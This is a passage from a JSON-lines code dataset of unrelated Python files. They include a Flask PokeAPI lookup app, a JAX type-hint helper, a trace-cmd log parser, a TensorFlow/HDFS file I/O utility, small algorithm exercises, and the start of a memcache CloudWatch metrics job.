results = multi_process_func(download,filenames,max_process = 4,maxsize_num = 100000)\r\n time_multi_cost = time.time() - time_\r\n \r\n \r\n# results = sorted(results,key=lambda x:x[0])\r\n \r\n sum_time = []\r\n for filename,res,time_cost in results:\r\n basename = os.path.basename(filename)\r\n print('{} res is {}'.format(basename,res['type']))\r\n \r\n sum_time.append(time_cost)\r\n \r\n avgTime = np.mean(sum_time)\r\n print('avgTime per image one-process: {}'.format(round(avgTime,3)))\r\n \r\n print('avgTime per image multi-process: {}'.format(round(time_multi_cost/len(filenames),3)))\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n","repo_name":"yahuuu/shengjingOcr_v3.3","sub_path":"clientTest_multi_process.py","file_name":"clientTest_multi_process.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25329705760","text":"from flask import Flask, render_template, request\nimport requests\n\napp = Flask(__name__)\n\n\n@app.route('/')\ndef carregaTela(): # put application's code here\n return render_template(\"index.html\")\n\n@app.route('/pokemon')\ndef pokemon():\n try:\n poke = request.args.get(\"busca\").lower()\n\n url = \"https://pokeapi.co/api/v2/pokemon/{}\".format(poke)\n i = 1\n response = requests.get(url)\n resposta = response.json()\n\n url2 = resposta['location_area_encounters']\n response2 = requests.get(url2)\n resposta2 = response2.json()\n\n return render_template(\"buscaPoke.html\", resp=resposta, nome_poke=poke.upper(), resp2=resposta2)\n\n except:\n\n return render_template(\"TelaErro.html\")\n\n@app.route('/pokemon/mapas')\ndef mostra_mapa():\n reg = request.args.get(\"regiao\").lower()\n\n if reg == \"kanto\":\n return render_template(\"mapas.html\", mapa=\"http://lh5.ggpht.com/_m9vUadJLLSw/SyOTNNN56zI/AAAAAAAAAKA/OZySnnYG2hc/s640/Kantomap.png\", nome = \"Kanto\")\n elif reg == \"jhoto\":\n return render_template(\"mapas.html\", mapa=\"http://2.bp.blogspot.com/-FYrEe2u2eJ8/UXVs3s8uzfI/AAAAAAAAABg/nzurFet8CJc/s1600/2u3xm39.png\", nome = \"Jhoto\")\n elif reg == \"hoenn\":\n return render_template(\"mapas.html\", mapa=\"https://images-wixmp-ed30a86b8c4ca887773594c2.wixmp.com/f/71f5d2f6-e956-4945-863c-870ebd656778/d7omhdy-db5b2226-8ab8-4c5c-93c9-73df194bafb9.png?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1cm46YXBwOjdlMGQxODg5ODIyNjQzNzNhNWYwZDQxNWVhMGQyNmUwIiwiaXNzIjoidXJuOmFwcDo3ZTBkMTg4OTgyMjY0MzczYTVmMGQ0MTVlYTBkMjZlMCIsIm9iaiI6W1t7InBhdGgiOiJcL2ZcLzcxZjVkMmY2LWU5NTYtNDk0NS04NjNjLTg3MGViZDY1Njc3OFwvZDdvbWhkeS1kYjViMjIyNi04YWI4LTRjNWMtOTNjOS03M2RmMTk0YmFmYjkucG5nIn1dXSwiYXVkIjpbInVybjpzZXJ2aWNlOmZpbGUuZG93bmxvYWQiXX0.IkfpI_SXDQrTz7fXrlclqtTq3Z6vN18VfEcVgfS0b8A\", nome = \"Hoenn\")\n elif reg == \"unova\":\n return render_template(\"mapas.html\", mapa=\"https://gamefaqs.gamespot.com/ds/661226-pokemon-black-version-2/map/11115?raw=1\", nome = \"Unova\")\n elif reg == \"sinnoh\":\n return render_template(\"mapas.html\",mapa=\"https://i.pinimg.com/736x/8b/ff/3a/8bff3ab870c3e15318ded4deffe3ba79--story-ideas-maps.jpg\", nome=\"Sinnoh\")\n elif reg == \"sevii islands\" or reg == \"ilhas sevii\":\n return render_template(\"mapas.html\",mapa=\"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcRf0SUIiHRFlrzfpuAHznjkjc585tM9CWer0VqVxihPZbge-6dITQ3wuyEkX9qXhsnkRdI&usqp=CAU\", nome=\"Sevii Islands\")\n elif reg == \"almia\":\n return render_template(\"mapas.html\", mapa=\"https://cdn2.bulbagarden.net/upload/f/f4/Almia.png\", nome = \"Almia\")\n else:\n return render_template(\"TelaErro.html\")\n\n #mapa_kanto= \"http://lh5.ggpht.com/_m9vUadJLLSw/SyOTNNN56zI/AAAAAAAAAKA/OZySnnYG2hc/s640/Kantomap.png\"\n #mapa_jhoto = \"http://2.bp.blogspot.com/-FYrEe2u2eJ8/UXVs3s8uzfI/AAAAAAAAABg/nzurFet8CJc/s1600/2u3xm39.png\"\n #mapa_hoenn = \"https://images-wixmp-ed30a86b8c4ca887773594c2.wixmp.com/f/71f5d2f6-e956-4945-863c-870ebd656778/d7omhdy-db5b2226-8ab8-4c5c-93c9-73df194bafb9.png?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1cm46YXBwOjdlMGQxODg5ODIyNjQzNzNhNWYwZDQxNWVhMGQyNmUwIiwiaXNzIjoidXJuOmFwcDo3ZTBkMTg4OTgyMjY0MzczYTVmMGQ0MTVlYTBkMjZlMCIsIm9iaiI6W1t7InBhdGgiOiJcL2ZcLzcxZjVkMmY2LWU5NTYtNDk0NS04NjNjLTg3MGViZDY1Njc3OFwvZDdvbWhkeS1kYjViMjIyNi04YWI4LTRjNWMtOTNjOS03M2RmMTk0YmFmYjkucG5nIn1dXSwiYXVkIjpbInVybjpzZXJ2aWNlOmZpbGUuZG93bmxvYWQiXX0.IkfpI_SXDQrTz7fXrlclqtTq3Z6vN18VfEcVgfS0b8A\"\n\n\n\nif __name__ == '__main__':\n app.run(port=80,debug=True)\n","repo_name":"EastBeng/PokeAPI","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"22516869732","text":"from __future__ import annotations\n\nimport collections\nimport dataclasses\nimport functools\nimport inspect\nimport sys\nimport types\nimport typing\nfrom collections import OrderedDict, defaultdict\nfrom types import MethodDescriptorType, MethodWrapperType, WrapperDescriptorType\nfrom typing import Any, Callable\n\nfrom .annotations import ANNOTATIONS\n\nif typing.TYPE_CHECKING:\n from inspect import Parameter\n\n\n@functools.lru_cache(maxsize=128)\ndef get_type_hints_partial(obj, include_extras=False) -> dict[str, Any]:\n \"\"\"Adapted from typing.get_type_hints(), but aimed at suppressing errors from not\n (yet) resolvable forward references.\n\n For example:\n\n @jdc.pytree_dataclass\n class A:\n x: B\n y: jdc.Static[bool]\n\n @jdc.pytree_dataclass\n class B:\n x: jnp.ndarray\n\n Note that the type annotations of `A` need to be parsed by the `pytree_dataclass`\n decorator in order to register the static field, but `B` is not yet defined when the\n decorator is run. We don't actually care about the details of the `B` annotation, so\n we replace it in our annotation dictionary with a dummy value.\n\n Differences:\n 1. `include_extras` must be True.\n 2. Only supports types.\n 3. Doesn't throw an error when a name is not found. Instead, replaces the value\n with `_UnresolvableForwardReference`.\n \"\"\"\n assert include_extras\n\n # Replace any unresolvable names with _UnresolvableForwardReference.\n base_globals: dict[str, Any] = collections.defaultdict(\n lambda: _UnresolvableForwardReference\n )\n base_globals.update(__builtins__) # type: ignore\n\n # Classes require a special treatment.\n if isinstance(obj, type):\n hints = {}\n for base in reversed(obj.__mro__):\n ann = base.__dict__.get(\"__annotations__\", {})\n if len(ann) == 0:\n continue\n\n base_globals.update(sys.modules[base.__module__].__dict__)\n\n for name, value in ann.items():\n if value is None:\n value = type(None)\n if isinstance(value, str):\n value = eval(value, base_globals)\n hints[name] = value\n return hints\n\n nsobj = obj\n # Find globalns for the unwrapped object.\n while hasattr(nsobj, \"__wrapped__\"):\n nsobj = nsobj.__wrapped__\n base_globals.update(getattr(nsobj, \"__globals__\", {}))\n\n hints = getattr(obj, \"__annotations__\", None) # type: ignore\n if hints is None:\n # Return empty annotations for something that _could_ have them.\n if isinstance(obj, _allowed_types):\n return {}\n else:\n raise TypeError(\n \"{!r} is not a module, class, method, or function.\".format(obj)\n )\n hints = dict(hints)\n for name, value in hints.items():\n if value is None:\n value = type(None)\n if isinstance(value, str):\n value = eval(value, base_globals)\n hints[name] = value\n return hints\n\n\nclass _UnresolvableForwardReferenceMeta(type):\n def __getattr__(cls, item):\n if item == \"__metadata__\":\n return ()\n return _UnresolvableForwardReference\n\n\nclass _UnresolvableForwardReference(metaclass=_UnresolvableForwardReferenceMeta):\n def __class_getitem__(cls, item) -> type[_UnresolvableForwardReference]:\n \"\"\"__getitem__ passthrough, for supporting generics.\"\"\"\n return _UnresolvableForwardReference\n\n\n_allowed_types = (\n types.FunctionType,\n types.BuiltinFunctionType,\n types.MethodType,\n types.ModuleType,\n WrapperDescriptorType,\n MethodWrapperType,\n MethodDescriptorType,\n)\n\n\ndef fzjax_datacls_from_func(func: Callable) -> Any:\n from fzjax.ptree import fzjax_dataclass\n\n # Replace any unresolvable names with _UnresolvableForwardReference.\n base_globals: dict[str, Any] = defaultdict(lambda: _UnresolvableForwardReference)\n base_globals.update(__builtins__) # type: ignore\n base_globals.update(ANNOTATIONS)\n\n signature = []\n\n for argname, param in get_func_signature(func).items():\n annotation = Any\n default = dataclasses.MISSING\n\n # noinspection PyProtectedMember\n if param.annotation != inspect._empty:\n if isinstance(param.annotation, str):\n annotation = eval(param.annotation, base_globals)\n else:\n annotation = param.annotation\n # noinspection PyProtectedMember\n if param.default != inspect._empty:\n default = param.default\n\n signature.append((argname, annotation, dataclasses.field(default=default)))\n\n datacls = dataclasses.make_dataclass(f\"fzjax_datacls_func{id(func)}\", signature)\n\n # noinspection PyTypeChecker\n return fzjax_dataclass(datacls)\n\n\ndef get_func_signature(func: Callable) -> OrderedDict[str, Parameter]:\n return OrderedDict(inspect.signature(func).parameters)\n","repo_name":"tran-khoa/fzjax","sub_path":"fzjax/ptree/internal_helpers.py","file_name":"internal_helpers.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"72310638240","text":"import re\nimport logging\nfrom itertools import chain\n\nfrom wlauto.utils.misc import isiterable\nfrom wlauto.utils.types import numeric\n\n\nlogger = logging.getLogger('trace-cmd')\n\n\n# These markers can be injected into trace to identify the \"interesting\"\n# portion.\nTRACE_MARKER_START = 'TRACE_MARKER_START'\nTRACE_MARKER_STOP = 'TRACE_MARKER_STOP'\n\n\nclass TraceCmdEvent(object):\n \"\"\"\n A single trace-cmd event. This will appear in the trace cmd report in the format ::\n\n -0 [000] 3284.126993: sched_rq_runnable_load: cpu=0 load=54\n | | | | |___________|\n | | | | |\n thread cpu timestamp name body\n\n \"\"\"\n\n __slots__ = ['thread', 'reporting_cpu_id', 'timestamp', 'name', 'text', 'fields']\n\n def __init__(self, thread, cpu_id, ts, name, body, parser=None):\n \"\"\"\n parameters:\n\n :thread: thread which generated the event\n :cpu: cpu on which the event has occurred\n :ts: timestamp of the event\n :name: the name of the event\n :bodytext: a string with the rest of the event text\n :parser: optionally, a function that will parse bodytext to populate\n this event's attributes\n\n The parser can be any callable that can be invoked with\n\n parser(event, text)\n\n Where ``event`` is this TraceCmdEvent instance, and ``text`` is the body text to be\n parsed. The parser should updated the passed event instance and not return anything\n (the return value will be ignored). Any exceptions raised by the parser will be silently\n ignored (note that this means that the event's attributes may be partially initialized).\n\n \"\"\"\n self.thread = thread\n self.reporting_cpu_id = int(cpu_id)\n self.timestamp = numeric(ts)\n self.name = name\n self.text = body\n self.fields = {}\n\n if parser:\n try:\n parser(self, self.text)\n except Exception: # pylint: disable=broad-except\n # unknown format assume user does not care or know how to\n # parse self.text\n pass\n\n def __getattr__(self, name):\n try:\n return self.fields[name]\n except KeyError:\n raise AttributeError(name)\n\n def __str__(self):\n return 'TE({} @ {})'.format(self.name, self.timestamp)\n\n __repr__ = __str__\n\n\nclass DroppedEventsEvent(object):\n\n __slots__ = ['thread', 'reporting_cpu_id', 'timestamp', 'name', 'text', 'fields']\n\n def __init__(self, cpu_id):\n self.thread = None\n self.reporting_cpu_id = None\n self.timestamp = None\n self.name = 'DROPPED EVENTS DETECTED'\n self.text = None\n self.fields = {'cpu_id': int(cpu_id)}\n\n def __getattr__(self, name):\n try:\n return self.fields[name]\n except KeyError:\n raise AttributeError(name)\n\n def __str__(self):\n return 'DROPPED_EVENTS_ON_CPU{}'.format(self.cpu_id)\n\n __repr__ = __str__\n\n\ndef try_convert_to_numeric(v):\n try:\n if isiterable(v):\n return map(numeric, v)\n else:\n return numeric(v)\n except ValueError:\n return v\n\n\ndef default_body_parser(event, text):\n \"\"\"\n Default parser to attempt to use to parser body text for the event (i.e. after\n the \"header\" common to all events has been parsed). This assumes that the body is\n a whitespace-separated list of key=value pairs. The parser will attempt to convert\n the value into a numeric type, and failing that, keep it as string.\n\n \"\"\"\n parts = [e.rsplit(' ', 1) for e in text.strip().split('=')]\n parts = [p.strip() for p in chain.from_iterable(parts)]\n if not len(parts) % 2:\n i = iter(parts)\n for k, v in zip(i, i):\n try:\n v = int(v)\n except ValueError:\n pass\n event.fields[k] = v\n\n\ndef regex_body_parser(regex, flags=0):\n \"\"\"\n Creates an event body parser form the specified regular expression (could be an\n ``re.RegexObject``, or a string). The regular expression should contain some named\n groups, as those will be extracted as the event attributes (unnamed groups and the\n reset of the match will be ignored).\n\n If the specified regex is a string, it will be compiled, in which case ``flags`` may\n be provided for the resulting regex object (see ``re`` standard module documentation).\n If regex is a pre-compiled object, flags will be ignored.\n\n \"\"\"\n if isinstance(regex, basestring):\n regex = re.compile(regex, flags)\n\n def regex_parser_func(event, text):\n match = regex.search(text)\n if match:\n for k, v in match.groupdict().iteritems():\n try:\n event.fields[k] = int(v)\n except ValueError:\n event.fields[k] = v\n\n return regex_parser_func\n\n\ndef sched_switch_parser(event, text):\n \"\"\"\n Sched switch output may be presented in a couple of different formats. One is handled\n by a regex. The other format can *almost* be handled by the default parser, if it\n weren't for the ``==>`` that appears in the middle.\n \"\"\"\n if text.count('=') == 2: # old format\n regex = re.compile(\n r'(?P\\S.*):(?P\\d+) \\[(?P\\d+)\\] (?P\\S+)'\n r' ==> '\n r'(?P\\S.*):(?P\\d+) \\[(?P\\d+)\\]'\n )\n parser_func = regex_body_parser(regex)\n return parser_func(event, text)\n else: # there are more than two \"=\" -- new format\n return default_body_parser(event, text.replace('==>', ''))\n\n\n# Maps event onto the corresponding parser for its body text. A parser may be\n# a callable with signature\n#\n# parser(event, bodytext)\n#\n# a re.RegexObject, or a string (in which case it will be compiled into a\n# regex). In case of a string/regex, its named groups will be used to populate\n# the event's attributes.\nEVENT_PARSER_MAP = {\n 'sched_switch': sched_switch_parser,\n}\n\nTRACE_EVENT_REGEX = re.compile(r'^\\s+(?P\\S+.*?\\S+)\\s+\\[(?P\\d+)\\]\\s+(?P[\\d.]+):\\s+'\n r'(?P[^:]+):\\s+(?P.*?)\\s*$')\n\nHEADER_REGEX = re.compile(r'^\\s*(?:version|cpus)\\s*=\\s*([\\d.]+)\\s*$')\n\nDROPPED_EVENTS_REGEX = re.compile(r'CPU:(?P\\d+) \\[\\d*\\s*EVENTS DROPPED\\]')\n\nEMPTY_CPU_REGEX = re.compile(r'CPU \\d+ is empty')\n\n\nclass TraceCmdTrace(object):\n\n def __init__(self, filter_markers=True):\n self.filter_markers = filter_markers\n\n def parse(self, filepath, names=None, check_for_markers=True): # pylint: disable=too-many-branches,too-many-locals\n \"\"\"\n This is a generator for the trace event stream.\n\n \"\"\"\n inside_maked_region = False\n filters = [re.compile('^{}$'.format(n)) for n in names or []]\n if check_for_markers:\n with open(filepath) as fh:\n for line in fh:\n if TRACE_MARKER_START in line:\n break\n else:\n # maker not found force filtering by marker to False\n self.filter_markers = False\n\n with open(filepath) as fh:\n for line in fh:\n # if processing trace markers, skip marker lines as well as all\n # lines outside marked region\n if self.filter_markers:\n if not inside_maked_region:\n if TRACE_MARKER_START in line:\n inside_maked_region = True\n continue\n elif TRACE_MARKER_STOP in line:\n inside_maked_region = False\n continue\n\n match = DROPPED_EVENTS_REGEX.search(line)\n if match:\n yield DroppedEventsEvent(match.group('cpu_id'))\n continue\n\n matched = False\n for rx in [HEADER_REGEX, EMPTY_CPU_REGEX]:\n match = rx.search(line)\n if match:\n logger.debug(line.strip())\n matched = True\n break\n if matched:\n continue\n\n match = TRACE_EVENT_REGEX.search(line)\n if not match:\n logger.warning('Invalid trace event: \"{}\"'.format(line))\n continue\n\n event_name = match.group('name')\n\n if filters:\n found = False\n for f in filters:\n if f.search(event_name):\n found = True\n break\n if not found:\n continue\n\n body_parser = EVENT_PARSER_MAP.get(event_name, default_body_parser)\n if isinstance(body_parser, basestring) or isinstance(body_parser, re._pattern_type): # pylint: disable=protected-access\n body_parser = regex_body_parser(body_parser)\n yield TraceCmdEvent(parser=body_parser, **match.groupdict())\n\n","repo_name":"trb116/pythonanalyzer","sub_path":"data/input/ARM-software/workload-automation/wlauto/utils/trace_cmd.py","file_name":"trace_cmd.py","file_ext":"py","file_size_in_byte":9337,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"28724983414","text":"def primeiro_lex(vector):\n first = vector[0]\n\n for i in range(1, len(vector)):\n if first.lower() > vector[i].lower():\n first = vector[i]\n\n return first\n\n\nprint(primeiro_lex(['A', 'a', 'casa']))\n","repo_name":"gustavo-lelli/Introduction-to-Computer-Science-with-Python---Week-10","sub_path":"Ordem_Lexicografica.py","file_name":"Ordem_Lexicografica.py","file_ext":"py","file_size_in_byte":221,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29283292970","text":"import sys\ninput = sys.stdin.readline\n\nT = int(input())\nfor _ in range(T):\n N = int(input())\n coins = list(map(int, input().split()))\n M = int(input())\n \n dp = [0] * (M+1)\n dp[0] =1\n # count 가 없어!!\n \n # maxCount = 1\n # for coin, idx in enumerate(coins):\n # while(True):\n # if(coin * maxCount < M):\n # maxCount+=1;\n # else:\n # coins[idx].append(maxCount)\n # break;\n \n # print(coins)\n for coin in coins: # 순서\n for money in range(M, 0, -1):\n # 1,2\n for i in range(1, 10001):\n if(money >= (i * coin)):\n dp[money] += dp[money - (i*coin)]\n print('dp',dp) \n print(dp[M])","repo_name":"sangeon-ahn/Week03---Algorithm","sub_path":"05_Q9084/Q9084_CDH.py","file_name":"Q9084_CDH.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"26775376322","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Project : MeUtils.\n# @File : tf_io\n# @Time : 2021/2/26 4:19 下午\n# @Author : yuanjie\n# @WeChat : 313303303\n# @Software : PyCharm\n# @Description : https://www.jianshu.com/p/c2fabc8a6dad\n\"\"\"\ntf 不支持Path\nPath('hdfs://')会丢失一个/\n\"\"\"\n\nimport tensorflow as tf\n\nfrom meutils.pipe import *\nfrom meutils.pd_utils import split as df_split\nfrom meutils.path_utils import get_module_path\nfrom meutils.date_utils import date_difference\nfrom meutils.decorators.retry import wait_retry\n\nHDFS = 'hdfs://easyops-cluster'\nDATA = get_module_path(\"../data\", __file__)\nOUTPUT = \"OUTPUT\"\n_FLAG = f\"{DATA}/_FLAG\"\n_SUCCESS = f\"{DATA}/_SUCCESS\"\n\n\ndef get_lastest_path(path, max_tries=8, threshold=1):\n for i in range(max_tries):\n date = date_difference('%Y%m%d', days=i)\n path_ = f\"{path}{date}\"\n if tf.io.gfile.exists(path_):\n files = tf.io.gfile.glob(f\"{path_}/*\")\n if len(files) > 0 and tf.io.gfile.stat(files[0]).length // 1024 >= threshold:\n logger.info(path_)\n return path_\n logger.warning(\"无效路径\")\n\n\ndef _process_hdfs_path(p):\n if p.startswith('/user/'):\n p = HDFS + p\n return p\n\n\ndef _process_pattern(pattern):\n pattern = _process_hdfs_path(pattern)\n\n if tf.io.gfile.isdir(pattern): # 如果是个文件夹,默认匹配所有文件\n pattern = pattern + '/*'\n return pattern\n\n\ndef check_path(path):\n \"\"\"判断文件文件夹是否存在\"\"\"\n path = _process_hdfs_path(path)\n return tf.io.gfile.exists(path)\n\n\n@wait_retry(600) # 10分钟check一次\ndef check_path_wait(path):\n return check_path(path)\n\n\ndef if_not_exist_makedir(path):\n path = _process_hdfs_path(path)\n if not tf.io.gfile.exists(path):\n logger.warning(f\"{path} Does Not Exist, Make Dir\")\n tf.io.gfile.makedirs(path)\n return path\n\n\ndef make_flag(output_dir, flag=_FLAG):\n output_dir = if_not_exist_makedir(output_dir)\n tf.io.gfile.copy(flag, f\"{output_dir}/{Path(flag).name}\", True)\n\n\ndef process_success(output_dir):\n make_flag(output_dir, _SUCCESS)\n\n\ndef rename(src, dst, overwrite=True):\n \"\"\"支持文件and文件夹\"\"\"\n src = _process_hdfs_path(src)\n dst = _process_hdfs_path(dst)\n\n if not check_path(src):\n logger.error(f\"{src}; No such file or directory\")\n return\n\n tf.io.gfile.rename(src, dst, overwrite=overwrite)\n\n\ndef rm(path):\n path = _process_hdfs_path(path)\n\n if tf.io.gfile.isdir(path):\n tf.io.gfile.rmtree(path)\n elif tf.io.gfile.exists(path): # 文件夹也返回 True\n tf.io.gfile.remove(path)\n\n\ndef cp(pattern, output_dir=DATA, with_success=True, filter_fn=None):\n \"\"\"复制文件夹下的文件到新文件夹\"\"\"\n pattern = _process_pattern(pattern)\n output_dir = if_not_exist_makedir(output_dir)\n\n # 过滤文件夹、空文件、自定义过滤条件等\n files = []\n for file in tf.io.gfile.glob(pattern):\n if tf.io.gfile.isdir(file) or tf.io.gfile.stat(file).length == 0: # Path(p).stat().st_size:\n continue\n files.append(file)\n\n if filter_fn is not None:\n files = list(filter(filter_fn, files))\n\n logger.debug(\"FILES:\\n\\t{}\".format('\\n\\t'.join(files))) # f\"{}\"里不支持 /\n\n # 复制\n def func(file):\n new_file = f\"{output_dir}/{Path(file).name}\"\n tf.io.gfile.copy(file, new_file, True)\n return new_file\n\n new_files = files | xThreadPoolExecutor(func, 16) | xlist # 多线程,多进程如何?\n\n # 结束标识\n if with_success and output_dir.startswith(\"hdfs\"):\n process_success(output_dir)\n\n return new_files\n\n\ndef df2write(df, file, num_partitions=1, sep='\\t', index=False, header=False, with_success=True, **kwargs):\n \"\"\"仅支持单文件,支持多线程写入\n 写的时候不支持多个字符分割:\"delimiter\" must be a 1-character string: 非逗号分割的提前合并\n \"\"\"\n file = _process_hdfs_path(file)\n name = Path(file).name # dir = file[::-1].split('/', 1)[1][::-1]\n dir = Path(file).parent.__str__().replace('hdfs:/', 'hdfs://')\n\n if_not_exist_makedir(str(dir))\n\n if num_partitions == 1:\n with tf.io.gfile.GFile(file, 'w') as f:\n df.to_csv(f, index=index, header=header, sep=sep, **kwargs)\n f.flush()\n else:\n\n logger.debug(f\"ThreadPoolExecutor: part__*__{name}\")\n\n def writer(args):\n idx, df = args\n file = f\"{dir}/part__{idx}__{name}\"\n\n with tf.io.gfile.GFile(file, 'w') as f:\n df.to_csv(f, index=index, header=header, sep=sep, **kwargs)\n f.flush()\n\n enumerate(df_split(df, num_partitions)) | xThreadPoolExecutor(writer, num_partitions) # 加速不明显\n\n if with_success:\n process_success(dir)\n\n del df\n gc.collect()\n\n\ndef read2df(file, **kwargs):\n \"\"\"仅支持单文件, 与pandas有些不兼容\n sep: 本地文件支持多字符作为分隔符,HDFS文件好像不支持\n pd.read_csv(p, iterator=True, chunksize=10000)\n \"\"\"\n file = _process_hdfs_path(file)\n\n with tf.io.gfile.GFile(file, 'r') as f: # todo: 中文异常\n return pd.read_csv(f, **kwargs)\n\n\ndef read2dataset(pattern, fmt='TextLineDataset', num_parallel_reads=1):\n \"\"\"支持多文件大数据\n\n :param pattern:\n :param format: 'TextLineDataset', 'TFRecordDataset'\n :return:\n df = pd.DataFrame(map(bytes.decode, ds.as_numpy_iterator()))\n df = pd.DataFrame(map(lambda r: r.decode().split('____'), ds.as_numpy_iterator()), columns=['itemid', 'title'])\n for i in ds:\n i.numpy().decode().split('\\t')\n\n ds = tf_io.read2dataset('title.csv')\n num_part = 3\n batch_size = 4\n for n in range(num_part):\n print(n)\n for i in itertools.islice(ds, batch_size*n, batch_size*(n+1)):\n i.numpy().decode().split('____')\n \"\"\"\n pattern = _process_pattern(pattern)\n\n try:\n fs = tf.io.gfile.glob(pattern)\n except Exception as e:\n logger.error(e)\n fs = tf.data.Dataset.list_files(file_pattern=pattern)\n fs = [f.decode() for f in fs.as_numpy_iterator()]\n\n logger.info(\"FILES: \" + '\\t' + '\\n\\t'.join(fs))\n\n ds = tf.data.__getattribute__(fmt)(fs, num_parallel_reads=num_parallel_reads)\n return ds\n\n\ndef ds2df(input, sep='\\t', columns=None, num_parallel_reads=6):\n ds = read2dataset(input, num_parallel_reads=num_parallel_reads)\n df = pd.DataFrame(\n map(lambda r: r.decode().split(sep), tqdm(ds.as_numpy_iterator())),\n columns=columns\n )\n return df\n\n\n# 文件复制到本地读写:更快更方便\ndef read_hdfs(pattern, reader=pd.read_csv, max_workers=1, cache_dir='read_cache', is_union=True):\n \"\"\"支持多文件读取\"\"\"\n files = tqdm(cp(pattern, cache_dir))\n\n if max_workers == 1:\n dfs = map(reader, files)\n else:\n dfs = files | xProcessPoolExecutor(reader, max_workers) | xlist\n\n if is_union:\n return pd.concat(dfs, ignore_index=True)\n else:\n return dfs\n\n\ndef to_hdfs(\n df, file_or_dir, batch_size=None, # 如果拆成很多小文件,file_or_dir应该填入目录\n writer=lambda df, file: df.to_csv(file, sep='\\t', header=False, index=False),\n with_success=True,\n cache_dir='to_cache',\n file_start_index=0,\n file_suffix='',\n workers=1,\n):\n if_not_exist_makedir(cache_dir)\n file_or_dir = _process_hdfs_path(file_or_dir)\n\n if batch_size:\n target_dir = file_or_dir\n\n def _writer(args):\n i, df = args\n writer(df, f\"{cache_dir}/part-{i}-{file_suffix}\")\n\n dfs = df_split(df, batch_size=batch_size)\n if workers == 1:\n for args in tqdm(enumerate(dfs, file_start_index)):\n _writer(args)\n else:\n enumerate(dfs, file_start_index) | xProcessPoolExecutor(_writer, workers) | xlist # 多进程好像会卡死\n\n else: # todo弃用这个方案\n name = Path(file_or_dir).name\n target_dir = Path(file_or_dir).parent.__str__().replace('hdfs:/', 'hdfs://')\n\n writer(df, f\"{cache_dir}/{name}\")\n\n cp(cache_dir, target_dir, with_success=with_success) # 多线程cp\n magic_cmd(f\"rm -rf {cache_dir}/*\") # 用完即焚,节省本地内存\n\n\nif __name__ == '__main__':\n print(check_path(\"/Users/yuanjie/Desktop/Projects/Python/MeUtils/meutils/data/_SUCCESS\"))\n print(check_path_wait(\"/Users/yuanjie/Desktop/Projects/Python/MeUtils/meutils/data/__SUCCESS\"))\n","repo_name":"yuanjie-ai/MeUtils","sub_path":"meutils/io/tf_io.py","file_name":"tf_io.py","file_ext":"py","file_size_in_byte":8605,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"32647054652","text":"import os\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom flask import flash, render_template, url_for, request\nfrom app import webapp, memcache, configurations, cache_statistics, db, debug_value\nfrom app.models import Mem_cache_configuration\nfrom flask import json\nfrom app.replacementPolicyHelper import applyRandomReplacementPolicy, applyLeastRecentUsedPolicy\nfrom datetime import datetime\nfrom pytz import timezone\nimport boto3\nimport requests\nfrom dateutil import parser\n\neastern = timezone('US/Eastern')\ncloudwatch = boto3.client('cloudwatch')\nmemcache_port = webapp.config['MEMCACHE_PORT']\nautoscalar_port = webapp.config['AUTOSCALAR_PORT']\nec2 = boto3.resource('ec2', region_name='us-east-1')\n\ndef save_statistics():\n get_requests_served = cache_statistics['get_request_count']\n if get_requests_served != 0:\n missing_rate = cache_statistics['miss_count'] / get_requests_served\n hit_rate = cache_statistics['hit_count'] / get_requests_served\n else:\n missing_rate = 0.0\n hit_rate = 0.0 \n \n create_time=datetime.now(eastern)\n cloudwatch.put_metric_data(\n Namespace='MemcacheService',\n MetricData=[\n {\n 'MetricName': 'NumberOfItems',\n 'Dimensions': [\n {\n 'Name': 'Target',\n 'Value': 'MemCache'\n }\n ],\n 'Value': cache_statistics['number_items'],\n 'Unit': 'Count',\n 'Timestamp': create_time\n },\n ]\n )\n\n cloudwatch.put_metric_data(\n Namespace='MemcacheService',\n MetricData=[\n {\n 'MetricName': 'UtilizedCapacity',\n 'Dimensions': [\n {\n 'Name': 'Target',\n 'Value': 'MemCache'\n }\n ],\n 'Value': cache_statistics['current_size'],\n 'Unit': 'Count',\n 'Timestamp': create_time\n },\n ]\n )\n\n cloudwatch.put_metric_data(\n Namespace='MemcacheService',\n MetricData=[\n {\n 'MetricName': 'NumberOfRequestsServered',\n 'Dimensions': [\n {\n 'Name': 'Target',\n 'Value': 'MemCache'\n }\n ],\n 'Value': cache_statistics['requests_served'],\n 'Unit': 'Count',\n 'Timestamp': create_time\n },\n ]\n )\n\n cloudwatch.put_metric_data(\n Namespace='MemcacheService',\n MetricData=[\n {\n 'MetricName': 'MissRate',\n 'Dimensions': [\n {\n 'Name': 'Target',\n 'Value': 'MemCache'\n }\n ], \n 'Value': missing_rate,\n 'Unit': 'Percent',\n 'Timestamp': create_time\n },\n ]\n )\n \n cloudwatch.put_metric_data(\n Namespace='MemcacheService',\n MetricData=[\n {\n 'MetricName': 'HitRate',\n 'Dimensions': [\n {\n 'Name': 'Target',\n 'Value': 'MemCache'\n }\n ],\n 'Value': hit_rate,\n 'Unit': 'Percent',\n 'Timestamp': create_time\n },\n ]\n )\n \nif not debug_value or os.environ.get('WERKZEUG_RUN_MAIN') == 'true':\n sched = BackgroundScheduler(daemon=True)\n sched.add_job(save_statistics,'interval',seconds=5, 